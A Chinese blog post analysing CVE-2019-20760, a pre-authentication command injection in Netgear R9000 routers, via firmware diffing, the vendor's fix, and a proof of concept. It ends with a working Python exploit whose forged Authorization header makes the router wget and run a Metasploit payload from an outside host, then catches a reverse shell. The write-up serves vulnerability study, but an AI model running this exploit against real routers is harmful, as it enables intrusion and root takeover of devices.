漏洞分析:Netgear认证前命令注入CVE-2019-20760

漏洞分析:Netgear认证前命令注入CVE-2019-20760

  IoT-vulhub上的一个漏洞,在Netgear R9000中存在一个认证前的命令注入漏洞,可以实现前台RCE。

  漏洞比较简单,但出现的场景比较典型:1.用户认证过程中存在问题;2.经典sprintf-system漏洞。所以这里做一个简单的分析。

补丁diff法确定漏洞点

  在手头准备两个版本的固件,一个是已经修复漏洞的R9000-V1.0.4.28版本的固件,另一个是存在漏洞的R9000-V1.0.4.26版本的固件。通过IDA中bindiff,来对比两个版本固件中的区别。

   可以看到,R9000-V1.0.4.28中主要的变化,是添加了dni_system这个函数,除了新添加的这个函数之外,两版本固件主要的变化在uh_cgi_auth_check这个函数中,我们深入到uh_cgi_auth_check函数中挖掘一下。

   当通过get请求访问cgi-bin后台的时候,就会调用uh_auth_check和uh_cgi_auth_check函数来进行身份验证,身份验证主要是通过校验请求头中Authorization字段来完成的。用"admin","admin123"登录,可以用Tamper Data这个firefox的插件,抓包看一下headers中的字段。

  Authorization里面的值就长这个样子,"Basic"后面的字符串用base64解码一下就会看到:”admin:admin123"。

Basic YWRtaW46YWRtaW4xMjM=

   接下来看一下uh_cgi_auth_check函数中是如何进行处理的。首先获取Authorization的值进行base64解码:

   然后将passwd的hash值保存到文件中去。

   在这个过程中,出现了sprintf-system的命令注入漏洞,我们只要在password中构造恶意的命令注入语句,写一个反弹shell进去,就可以获取路由器的root权限。

  我们再来看一下这个漏洞官方是如何修复的:

   来看一下,在新版本的修复中,没有继续使用sprintf-system这种传递参数执行系统命令的方式,而是使用了dni_system这个函数,这个函数实际上实现的是对execve系统调用的封装,只允许更改命令行参数,限制了通过传递参数来控制执行的命令的种类。

POC构造

  输入密码的时候,构造如下语句:`touch /tmp/hellohacker`。可以看到目标机器/tmp目录下被写入了一个hellohacker的文件:

 

   IoT-vulhub的exp,通过wget传递msf payload执行反弹shell:

#!/usr/bin/python3

from pwn import *
from threading import Thread
import requests
import base64

cmd  = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf'
cmd += '`'

assert(len(cmd) < 255)

cmd_b64 = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
    "Authorization": "Basic " + cmd_b64
}

def attack():
    try:
        requests.get("http://192.168.2.2/cgi-bin/", headers=headers, timeout=1)
    except Exception as e:
        print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

 

 

 

 

 

 

 

   

posted @ 2021-11-17 12:30  Riv4ille  阅读(204)  评论(0编辑  收藏  举报